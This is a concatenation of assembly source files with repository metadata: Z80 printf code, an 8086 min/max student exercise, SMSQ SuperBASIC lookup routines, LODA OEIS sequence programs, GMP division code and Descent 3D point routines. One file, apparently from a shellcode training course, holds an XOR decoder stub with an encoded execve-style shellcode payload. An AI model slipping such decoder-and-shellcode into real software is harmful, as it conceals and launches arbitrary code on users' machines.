EXTERN dload
call dload ; exx set = double x
ELSE
EXTERN dread1b
call dread1b ; exx set = double x
ENDIF
; exx occurred
push hl ; save width
ex de,hl ; hl = void *buffer_digits
ld e,c
ld d,b ; de = precision
; de = precision
; hl = buffer *
; ix = FILE *
; exx = double x
; stack = buffer_digits, tally, de', bc', BUFFER_65, FILE *, width
ld c,(ix+5) ; c = printf flags
bit 0,c
jr nz, prec_defined
ld de,6 ; default precision is six
prec_defined:
call __dtoe__ ; generate decimal string
; bc = workspace length
; de = workspace *
; stack = buffer_digits, tally, de', bc', BUFFER_65, FILE *, width
;
; (IX-6) = flags, bit 7 = 'N', bit 4 = '#', bit 0 = precision==0
; (IX-5) = iz (number of zeroes to insert before .)
; (IX-4) = fz (number of zeroes to insert after .)
; (IX-3) = tz (number of zeroes to append)
; (IX-2) = ignore
; (IX-1) = '0' marks start of buffer
;
; carry set = special form just output buffer with sign
jp __stdio_printf_float_tail
| 23.451613 | 73 | 0.523613 |
e95c6e8db360331b57bb89c4f504b4e4bfef4e16 | 2,383 | asm | Assembly | 4A-119ec0013-Pravallika-MpMcP-07-10-2021.asm | Invisible-Luna/8086emu_program | 1d665b76a54ffc002f86e6a9f94085ba4c38bc97 | [
"MIT"
] | 1 | 2021-11-12T12:49:50.000Z | 2021-11-12T12:49:50.000Z | 4A-119ec0013-Pravallika-MpMcP-07-10-2021.asm | Invisible-Luna/8086emu_program | 1d665b76a54ffc002f86e6a9f94085ba4c38bc97 | [
"MIT"
] | null | null | null | 4A-119ec0013-Pravallika-MpMcP-07-10-2021.asm | Invisible-Luna/8086emu_program | 1d665b76a54ffc002f86e6a9f94085ba4c38bc97 | [
"MIT"
] | null | null | null | ; PRAVALLIKA SALADI
; 119EC0013
; ========== Finding Maximum and Minimum Numbers ========
include 'emu8086.inc'
org 100h
mov si,5000h
mov [si],69h
mov [si+1],96h
mov [si+2],12h
mov [si+3],77h
mov [si+4],42h
mov [si+5],68h
mov [si+6],32h
mov [si+7],11h
mov [si+8],84h
mov [si+9],93h
mov [si+10],66h
mov [si+11],52h
mov [si+12],56h
mov [si+13],10h
mov [si+14],84h
mov [si+15],98h
mov [si+16],21h
mov [si+17],2h ;mini
mov [si+18],99h ;max
mov [si+19],18h
miniNu DB ?
maxNu DB ?
;al -> mini bl -> max
;Finding Minimum Number
mov dx,13h ;check RAM
mov al,[si] ;69h -> al
inc si ;address increment
loop1:
mov bl,[si] ; 96h -> bl
cmp al,bl ;compare (zero flag, carry flag...)
jc compare1 ;Jump If Carry to loop ab, It checks whether the carry flag is set or not.
;If yes, then jump takes place, that is: If CF = 1, then jump
mov al,bl
compare1: inc si
dec dx
JNZ loop1 ;Jump if Not Zero
mov si,5020h
mov [si],al ;storing mini value in 5020 address
mov si,5000h ;starting the adressing again
mov di,5040h ;destination index register
mov dx,14h
loop2:
;Finding Maximum Number
mov al,[si]
mov [di],al ;copying the initial values to addresses starting from 5040
inc si
inc di
dec dx
JNZ loop2
mov di,5040h ;starting
mov dx,13h
mov al,[di]
inc di
loop3:
mov bl,[di]
cmp al,bl
jnc compare2 ;Jump if Not Carry, t checks whether the carry flag is reset or not.
;If yes, then jump takes place, that is: If CF = 0, then jump
mov al,bl
compare2: inc di
dec dx
JNZ loop3
mov si,5060h ;storing max value here
mov [si],al
;Storing and Printing Minimum and Maximum values
;STORING & Printing
;minimum
mov cl, dl
mov si,5020h
mov al,[si]
mov miniNu, al
mov dl, al
add dl, 48
mov ah, 02
int 21h
mov dx, 13
mov ah, 2
int 21h
mov dx, 10 ;new line
mov ah,2
int 21h
;maximum
mov si,5060h
mov bl,[si]
mov maxNu, bl
mov bl, 10
div bl
mov dl, bl
add dl, 48
mov ah, 02
int 21h
mov dl, bl
add dl, 48
mov ah, 02
int 21h
MOV AH, 4Ch ;exit
INT 21h
ret | 17.917293 | 106 | 0.561897 |
7a710f1fa5a86567ad5312416430ec51e55ba06b | 4,162 | asm | Assembly | smsq/sbas/litem.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | smsq/sbas/litem.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | smsq/sbas/litem.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; SBAS_LITEM - Locate Item V2.01 1992 Tony Tebby QJUMP
; This routine currently assumes the fixed memory model
section sbas
xdef sb_litem
xdef sb_lname
xdef sb_lnam2
xdef sb_gnam2
xref sb_anam2
xref cv_lctab
include 'dev8_keys_sbasic'
include 'dev8_keys_sys'
include 'dev8_keys_err'
include 'dev8_keys_qdos_sms'
;+++
; Locate Global SBASIC Name (a6,a1) length d2, and copy to local table
; If the global name is found, then the name entry and characters are
; copied to the local table. The copy includes the pointer to the value, this
; should be OK as the only names in the global name table are procedures and
; functions.
; This routine assumes that the name is not in the local table.
;
; d2 c p length of name
; a1 c p pointer to characters of name (rel A6)
; a3 r pointer to name table
;
; status return standard
;---
sb_gnam2
sg2.reg reg d1/d3/d4/d7/a0/a1/a2/a4
movem.l sg2.reg,-(sp)
move.w sr,d7
trap #0 ; supervisor mode to fiddle
move.l a6,-(sp)
moveq #0,d4
move.b d2,d4 ; length in a word
add.l a6,a1 ; absolute name address
moveq #sms.info,d0
trap #do.sms2 ; find system vars
move.l sys_sbab(a0),a6
add.w #sb_offs,a6 ; base of old SuperBASIC area
move.w d4,d2
bsr.s sbl_locate ; locate item in old area
add.l a6,a3 ; absolute nt entry
move.l (sp)+,a6 ; restore a6
bne.s sg2_exit ; name not found
move.l a3,a2 ; old name table entry
sub.w d2,a4 ; name characters
move.l a4,a1
sub.l a6,a1
jsr sb_anam2 ; add name to table
move.w nt_usetp(a2),nt_usetp(a6,a3.l)
move.l nt_value(a2),nt_value(a6,a3.l) ; set table entry
sg2_exit
move.w d7,sr
tst.l d0
movem.l (sp)+,sg2.reg
rts
;+++
;
; Locate SBASIC name (a6,a1) length d2
;
; d2 c p length of name
; a1 c p pointer to characters of name (rel A6)
; a3 r pointer to name table
;
; status return standard
;---
sb_lnam2
sl2.reg reg d1/d3/d4/d7/a0/a2/a4
movem.l sl2.reg,-(sp)
;* move.w sr,d7
;* trap #0 ; supervisor mode to fiddle
add.l a6,a1 ; locate uses absolute a1
bsr.s sbl_locate
sub.l a6,a1
;* move.w d7,sr
;* tst.l d0
movem.l (sp)+,sl2.reg
rts
; subroutine to locate an item
; d2 c p length of name
; a1 c p pointer to characters of name (abs)
; a3 r pointer to table entry (rel a6)
; a4 r points beyond end of name list characters (abs)
;
; smashes d1,d3,d4,a0,a2
; status return standard
sbl_locate
move.l sb_nmtbp(a6),a3
move.l sb_nmtbb(a6),d4
moveq #0,d0
lea cv_lctab(pc),a2
bra.s sbl_eloop
sbl_loop
move.w nt_usetp(a6,a3.l),d0 ; is it genuine?
beq.s sbl_next ; ... no
move.w nt_name(a6,a3.l),d0 ; is there a name
blt.s sbl_next ; ... no
move.l sb_nmlsb(a6),a4
add.l a6,a4
add.w d0,a4
move.l a1,a0
move.b (a4)+,d3 ; name length
cmp.b d2,d3 ; the same?
bne.s sbl_next ; ... no
moveq #0,d0
sbl_nloop
move.b (a4)+,d0
move.b (a2,d0.w),d1
move.b (a0)+,d0 ; the difference
sub.b (a2,d0.w),d1
bne.s sbl_next ; jump as soon as possible
subq.b #1,d3
bne.s sbl_nloop
rts ; return OK
sbl_next
sbl_eloop
subq.l #8,a3
cmp.l d4,a3 ; last?
bge.s sbl_loop ; ... no take the next
moveq #err.itnf,d0
rts
;+++
; Locate SuperBASIC item (already in SuperBASIC context)
;
; d0 r item type/usage (lsword) or err.nf
; a1 cr pointer to name / pointer to item
; a6 c... pointer to SuperBASIC
;
; Status returned according to d0
;
;---
sb_litem
sbl.reg reg d1/d2/d3/d4/a0/a2/a3/a4
movem.l sbl.reg,-(sp)
bsr.s sb_lname
move.l 4(a6,a3.l),a1 ; address
movem.l (sp)+,sbl.reg
rts
;+++
; Locate SuperBASIC name (internal to SuperBASIC)
;
; d0 r item type/usage (lsword) or err.nf
; d1-d4 scratch
; a0 scratch
; a1 c p pointer to name (byte length string)
; a2 scratch
; a3 r pointer to name table (=ntp if not found)
; a4 scratch
; a6 c... pointer to SuperBASIC
;
; Status returned according to d0
;
;---
sb_lname
;* move.w sr,d0
;* trap #0 ; supervisor mode to fiddle
;* move.w d0,-(sp)
move.b (a1)+,d2
bsr.s sbl_locate
subq.l #1,a1
bne.s sbl_end
move.w nt_usetp(a6,a3.l),d0
sbl_exit
;* move.w (sp)+,sr
;* tst.l d0
rts
sbl_end
move.l sb_nmtbp(a6),a3
;* move.w (sp)+,sr
;* tst.l d0
rts
end
| 21.564767 | 77 | 0.668188 |
85a727968209aecfa486c286142ab92a1b62b176 | 673 | asm | Assembly | oeis/313/A313707.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/313/A313707.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/313/A313707.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A313707: Coordination sequence Gal.6.198.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by Jon Maiga
; 1,5,10,15,19,25,30,35,41,45,50,55,60,65,70,75,79,85,90,95,101,105,110,115,120,125,130,135,139,145,150,155,161,165,170,175,180,185,190,195,199,205,210,215,221,225,230,235,240,245
mov $2,$0
seq $0,314688 ; Coordination sequence Gal.6.254.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
mov $1,$0
sub $0,5
mov $3,$0
add $3,$1
div $3,3
mov $0,$3
add $0,2
mov $4,$2
mul $4,2
add $0,$4
| 39.588235 | 182 | 0.720654 |
9c1daf8730336f43e3c054350289ce7420911040 | 360 | asm | Assembly | programs/oeis/037/A037972.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/037/A037972.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/037/A037972.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A037972: a(n) = n^2*(n+1)*C(2*n-2,n-1)/2.
; 0,1,12,108,800,5250,31752,181104,988416,5212350,26741000,134132856,660284352,3199016548,15288882000,72209880000,337535723520,1563410094390,7182839945160,32761238433000,148450107960000,668693511305820,2995943329133040
mov $1,$0
cal $1,37966 ; a(n) = n^2*binomial(2*n-2, n-1).
add $0,1
mul $0,$1
mov $1,$0
div $1,2
| 36 | 218 | 0.736111 |
9cdcc513fffc72d205d71fd7f593df3cf6e62413 | 457 | nasm | Assembly | Shellcode/XOR/XOR-Decoder.nasm | TheRavehorn/Assembly_x86-SLAE | 3a9f72e5eb82d2d13a131a953329b8b9cc986678 | [
"MIT"
] | null | null | null | Shellcode/XOR/XOR-Decoder.nasm | TheRavehorn/Assembly_x86-SLAE | 3a9f72e5eb82d2d13a131a953329b8b9cc986678 | [
"MIT"
] | null | null | null | Shellcode/XOR/XOR-Decoder.nasm | TheRavehorn/Assembly_x86-SLAE | 3a9f72e5eb82d2d13a131a953329b8b9cc986678 | [
"MIT"
] | null | null | null | ; XOR-Decoder.nasm
; Author: Ravehorn
global _start
section .text
_start:
jmp short call_decoder
decoder:
pop esi
decode:
xor byte [esi], 0xAA
jz shellcode
inc esi
jmp short decode
call_decoder:
call decoder
shellcode: db 0x9b, 0x6a, 0xfa, 0xc2, 0xc8, 0xcb, 0xd9, 0xc2, 0xc2, 0xc8, 0xc3, 0xc4, 0x85, 0xc2, 0x85, 0x85, 0x85, 0x85, 0x23, 0x49, 0xfa, 0x23, 0x48, 0xf9, 0x23, 0x4b, 0x1a, 0xa1, 0x67, 0x2a, 0xaa | 16.925926 | 202 | 0.654267 |
f79af612f0f570a9240a88913ac9b38ac306c88f | 242 | asm | Assembly | programs/oeis/282/A282168.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/282/A282168.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/282/A282168.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A282168: a(n) is the minimal sum of a positive integer sequence of length n with no duplicate substrings (forward or backward) of length greater than 1.
; 1,2,4,6,8,10,13,16,19,22,25,29
mov $2,1
max $2,$0
lpb $2
add $0,$2
trn $2,5
lpe
| 24.2 | 154 | 0.690083 |
6931fa0c29c35ab30c50426f38c84e1d1c1c06a1 | 644 | asm | Assembly | programs/oeis/267/A267256.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/267/A267256.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/267/A267256.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A267256: Middle column of the "Rule 111" elementary cellular automaton starting with a single ON (black) cell.
; 1,1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1
trn $0,7
mod $0,2
pow $1,$0
| 92 | 501 | 0.548137 |
cedd0675761ba7a7dc52ec89196193a967ac85aa | 296 | asm | Assembly | programs/oeis/002/A002441.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/002/A002441.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/002/A002441.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A002441: Squares written in base 8.
; 1,4,11,20,31,44,61,100,121,144,171,220,251,304,341,400,441,504,551,620,671,744,1021,1100,1161,1244,1331,1420,1511,1604,1701,2000,2101,2204,2311,2420,2531,2644,2761,3100,3221,3344,3471,3620,3751,4104,4241
add $0,1
pow $0,2
seq $0,7094 ; Numbers in base 8.
| 42.285714 | 205 | 0.733108 |
5e59a0ac5d6482e5ab00303b579c55aa388267a0 | 3,264 | asm | Assembly | libtool/src/gmp-6.1.2/mpn/x86_64/div_qr_2n_pi1.asm | kroggen/aergo | 05af317eaa1b62b21dc0144ef74a9e7acb14fb87 | [
"MIT"
] | 1,602 | 2015-01-06T11:26:31.000Z | 2022-03-30T06:17:21.000Z | libtool/src/gmp-6.1.2/mpn/x86_64/div_qr_2n_pi1.asm | kroggen/aergo | 05af317eaa1b62b21dc0144ef74a9e7acb14fb87 | [
"MIT"
] | 11,789 | 2015-01-05T04:50:15.000Z | 2022-03-31T23:39:19.000Z | libtool/src/gmp-6.1.2/mpn/x86_64/div_qr_2n_pi1.asm | kroggen/aergo | 05af317eaa1b62b21dc0144ef74a9e7acb14fb87 | [
"MIT"
] | 498 | 2015-01-08T18:58:18.000Z | 2022-03-20T15:37:45.000Z | dnl x86-64 mpn_div_qr_2n_pi1
dnl -- Divide an mpn number by a normalized 2-limb number,
dnl using a single-limb inverse.
dnl Copyright 2007, 2008, 2010-2012 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C c/l
C INPUT PARAMETERS
define(`qp', `%rdi')
define(`rp', `%rsi')
define(`up_param', `%rdx')
define(`un', `%rcx')
define(`d1', `%r8')
define(`d0', `%r9')
define(`di_param', `8(%rsp)')
define(`di', `%r10')
define(`up', `%r11')
define(`u2', `%rbx')
define(`u1', `%r12')
define(`t1', `%r13')
define(`t0', `%r14')
define(`md1', `%r15')
C TODO
C * Store qh in the same stack slot as di_param, instead of pushing
C it. (we could put it in register %rbp, but then we would need to
C save and restore that instead, which doesn't seem like a win).
ABI_SUPPORT(DOS64)
ABI_SUPPORT(STD64)
ASM_START()
TEXT
ALIGN(16)
PROLOGUE(mpn_div_qr_2n_pi1)
FUNC_ENTRY(4)
IFDOS(` mov 56(%rsp), %r8 ')
IFDOS(` mov 64(%rsp), %r9 ')
IFDOS(`define(`di_param', `72(%rsp)')')
mov di_param, di
mov up_param, up
push %r15
push %r14
push %r13
push %r12
push %rbx
mov -16(up, un, 8), u1
mov -8(up, un, 8), u2
mov u1, t0
mov u2, t1
sub d0, t0
sbb d1, t1
cmovnc t0, u1
cmovnc t1, u2
C push qh which is !carry
sbb %rax, %rax
inc %rax
push %rax
lea -2(un), un
mov d1, md1
neg md1
jmp L(next)
ALIGN(16)
L(loop):
C udiv_qr_3by2 (q,u2,u1,u2,u1,n0, d1,d0,di)
C Based on the optimized divrem_2.asm code.
mov di, %rax
mul u2
mov u1, t0
add %rax, t0 C q0 in t0
adc u2, %rdx
mov %rdx, t1 C q in t1
imul md1, %rdx
mov d0, %rax
lea (%rdx, u1), u2
mul t1
mov (up, un, 8), u1
sub d0, u1
sbb d1, u2
sub %rax, u1
sbb %rdx, u2
xor R32(%rax), R32(%rax)
xor R32(%rdx), R32(%rdx)
cmp t0, u2
cmovnc d0, %rax
cmovnc d1, %rdx
adc $0, t1
nop
add %rax, u1
adc %rdx, u2
cmp d1, u2
jae L(fix)
L(bck):
mov t1, (qp, un, 8)
L(next):
sub $1, un
jnc L(loop)
L(end):
mov u2, 8(rp)
mov u1, (rp)
C qh on stack
pop %rax
pop %rbx
pop %r12
pop %r13
pop %r14
pop %r15
FUNC_EXIT()
ret
L(fix): C Unlikely update. u2 >= d1
seta %dl
cmp d0, u1
setae %al
orb %dl, %al C "orb" form to placate Sun tools
je L(bck)
inc t1
sub d0, u1
sbb d1, u2
jmp L(bck)
EPILOGUE()
| 20.528302 | 79 | 0.665748 |
dae20fb492114fb88e3e71c2acba5bac20d91042 | 7,366 | asm | Assembly | 3d/points.asm | osgcc/descent-pc | 819ed672e9fde6eddea634154306c5154230b84d | [
"Unlicense"
] | 3 | 2016-03-22T12:32:01.000Z | 2017-11-07T12:14:28.000Z | 3d/points.asm | osgcc/descent-pc | 819ed672e9fde6eddea634154306c5154230b84d | [
"Unlicense"
] | null | null | null | 3d/points.asm | osgcc/descent-pc | 819ed672e9fde6eddea634154306c5154230b84d | [
"Unlicense"
] | 1 | 2021-03-30T07:34:36.000Z | 2021-03-30T07:34:36.000Z | ;THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX
;SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO
;END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A
;ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS
;IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS
;SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE
;FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE
;CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS
;AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE.
;COPYRIGHT 1993-1998 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED.
;
; $Source: f:/miner/source/3d/rcs/points.asm $
; $Revision: 1.13 $
; $Author: matt $
; $Date: 1995/02/09 22:00:05 $
;
; Source for point definition, rotation, etc.
;
; $Log: points.asm $
; Revision 1.13 1995/02/09 22:00:05 matt
; Removed dependence on divide overflow handler; we now check for overflow
; before dividing. This fixed problems on some TI chips.
;
; Revision 1.12 1994/11/11 19:22:06 matt
; Added new function, g3_calc_point_depth()
;
; Revision 1.11 1994/07/25 00:00:04 matt
; Made 3d no longer deal with point numbers, but only with pointers.
;
; Revision 1.10 1994/07/21 09:53:32 matt
; Made g3_point_2_vec() take 2d coords relative to upper left, not center
;
; Revision 1.9 1994/02/10 18:00:41 matt
; Changed 'if DEBUG_ON' to 'ifndef NDEBUG'
;
; Revision 1.8 1994/02/09 11:48:55 matt
; Added delta rotation functions
;
; Revision 1.7 1994/01/13 15:39:39 mike
; Change usage of Frame_count to _Frame_count.
;
; Revision 1.6 1993/12/21 20:35:35 matt
; Fixed bug that left register pushed if point was already projected in
; g3_project_list()
;
; Revision 1.5 1993/12/21 11:45:37 matt
; Fixed negative y bug in g3_point_2_vec()
;
; Revision 1.4 1993/12/20 20:21:51 matt
; Added g3_point_2_vec()
;
; Revision 1.3 1993/11/21 20:08:41 matt
; Added function g3_rotate_point()
;
; Revision 1.2 1993/11/04 18:49:17 matt
; Added system to only rotate points once per frame
;
; Revision 1.1 1993/10/29 22:20:27 matt
; Initial revision
;
;
;
.386
option oldstructs
.nolist
include types.inc
include psmacros.inc
include gr.inc
include 3d.inc
.list
assume cs:_TEXT, ds:_DATA
_DATA segment dword public USE32 'DATA'
rcsid db "$Id: points.asm 1.13 1995/02/09 22:00:05 matt Exp $"
align 4
tempv vms_vector <>
tempm vms_matrix <>
_DATA ends
_TEXT segment dword public USE32 'CODE'
;finds clipping codes for a point. takes eax=point. fills in p3_codes,
;and returns codes in bl.
g3_code_point:
code_point: push ecx
xor bl,bl ;clear codes
mov ecx,[eax].z ;get z
cmp [eax].x,ecx ;x>z?
jle not_right
or bl,CC_OFF_RIGHT
not_right: cmp [eax].y,ecx ;y>z?
jle not_top
or bl,CC_OFF_TOP
not_top: neg ecx
js not_behind
or bl,CC_BEHIND
not_behind: cmp [eax].x,ecx ;x<-z?
jge not_left
or bl,CC_OFF_LEFT
not_left: cmp [eax].y,ecx ;y<-z
jge not_bot
or bl,CC_OFF_BOT
not_bot: pop ecx
mov [eax].p3_codes,bl
ret
;rotate a point. don't look at rotated flags
;takes esi=dest point, esi=src vector
;returns bl=codes
g3_rotate_point: pushm eax,ecx,esi,edi
push edi ;save dest
lea eax,tempv
lea edi,View_position
call vm_vec_sub
mov esi,eax
pop eax
lea edi,View_matrix
call vm_vec_rotate
mov [eax].p3_flags,0 ;not projected
;;mov bx,_Frame_count ;curren frame
;;mov [eax].p3_frame,bx
call code_point
popm eax,ecx,esi,edi
ret
;projects a point. takes esi=point
g3_project_point:
;;ifndef NDEBUG
;; push eax
;; mov ax,[esi].p3_frame
;; cmp ax,_Frame_count
;; break_if ne,'Trying to project unrotated point!'
;; pop eax
;;endif
test [esi].p3_flags,PF_PROJECTED
jnz no_project
test [esi].p3_codes,CC_BEHIND
jnz no_project
pushm eax,edx
mov eax,[esi].x
imul Canv_w2
proj_div0: divcheck [esi].z,div_overflow_handler
idiv [esi].z
add eax,Canv_w2
mov [esi].p3_sx,eax
mov eax,[esi].y
imul Canv_h2
proj_div1: divcheck [esi].z,div_overflow_handler
idiv [esi].z
neg eax
add eax,Canv_h2
mov [esi].p3_sy,eax
or [esi].p3_flags,PF_PROJECTED ;projected
popm eax,edx
no_project: ret
div_overflow_handler:
;int 3
mov [esi].p3_flags,PF_OVERFLOW
popm eax,edx
ret
;from a 2d point on the screen, compute the vector in 3-space through that point
;takes eax,ebx = 2d point, esi=vector
;the 2d point is relative to the center of the canvas
g3_point_2_vec: pushm ecx,edx,esi,edi
push esi
lea esi,tempv
;;mov edx,eax
;;xor eax,eax
;;idiv Canv_w2
sal eax,16
sub eax,Canv_w2
fixdiv Canv_w2
imul Matrix_scale.z
idiv Matrix_scale.x
mov [esi].x,eax
;;mov edx,ebx
;;xor eax,eax
;;sub Canv_h2
;;idiv Canv_h2
mov eax,ebx
sal eax,16
sub eax,Canv_h2
fixdiv Canv_h2
imul Matrix_scale.z
idiv Matrix_scale.y
neg eax
mov [esi].y,eax
mov [esi].z,f1_0
call vm_vec_normalize ;get normalized rotated vec
lea edi,tempm
lea esi,Unscaled_matrix
call vm_copy_transpose_matrix
pop eax ;get dest
lea esi,tempv ;edi=matrix
call vm_vec_rotate
popm ecx,edx,esi,edi
ret
;rotate a delta y vector. takes edi=dest vec, ebx=delta y
g3_rotate_delta_y: pushm eax,edx
mov eax,View_matrix.m4
fixmul ebx
mov [edi].x,eax
mov eax,View_matrix.m5
fixmul ebx
mov [edi].y,eax
mov eax,View_matrix.m6
fixmul ebx
mov [edi].z,eax
popm eax,edx
ret
;rotate a delta x vector. takes edi=dest vec, ebx=delta x
g3_rotate_delta_x: pushm eax,edx
mov eax,View_matrix.m1
fixmul ebx
mov [edi].x,eax
mov eax,View_matrix.m2
fixmul ebx
mov [edi].y,eax
mov eax,View_matrix.m3
fixmul ebx
mov [edi].z,eax
popm eax,edx
ret
;rotate a delta x vector. takes edi=dest vec, ebx=delta z
g3_rotate_delta_z: pushm eax,edx
mov eax,View_matrix.m7
fixmul ebx
mov [edi].x,eax
mov eax,View_matrix.m8
fixmul ebx
mov [edi].y,eax
mov eax,View_matrix.m9
fixmul ebx
mov [edi].z,eax
popm eax,edx
ret
;rotate a delta vector. takes edi=dest vec, esi=src vec
g3_rotate_delta_vec:
pushm eax,edi
mov eax,edi
lea edi,View_matrix
call vm_vec_rotate
popm eax,edi
ret
;adds a delta vector to a point. takes eax=dest point, esi=src pnt, edi=delta vec
;returns bl=codes.
g3_add_delta_vec: ;;ifndef NDEBUG
;; push eax
;; mov ax,[esi].p3_frame
;; cmp ax,_Frame_count
;; break_if ne,'Trying to add delta to unrotated point!'
;; pop eax
;;endif
call vm_vec_add
;;mov bx,_Frame_count
;;mov [eax].p3_frame,bx
mov [eax].p3_flags,0 ;not projected
call g3_code_point
ret
;calculate the depth of a point - returns the z coord of the rotated point
;takes esi=vec, returns eax=depth
g3_calc_point_depth:
pushm edx,ebx,ecx
mov eax,[esi].x
sub eax,View_position.x
imul View_matrix.fvec.x
mov ebx,eax
mov ecx,edx
mov eax,[esi].y
sub eax,View_position.y
imul View_matrix.fvec.y
add ebx,eax
adc ecx,edx
mov eax,[esi].z
sub eax,View_position.z
imul View_matrix.fvec.z
add eax,ebx
adc edx,ecx
shrd eax,edx,16
popm edx,ebx,ecx
ret
_TEXT ends
end
| 21.350725 | 82 | 0.694271 |
94bdd8d5dd6502b9f7671abe5894db672a7e4c2f | 478 | asm | Assembly | oeis/192/A192802.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/192/A192802.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/192/A192802.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A192802: Coefficient of x in the reduction of the polynomial (x+2)^n by x^3->x^2+x+1.
; Submitted by Christian Krause
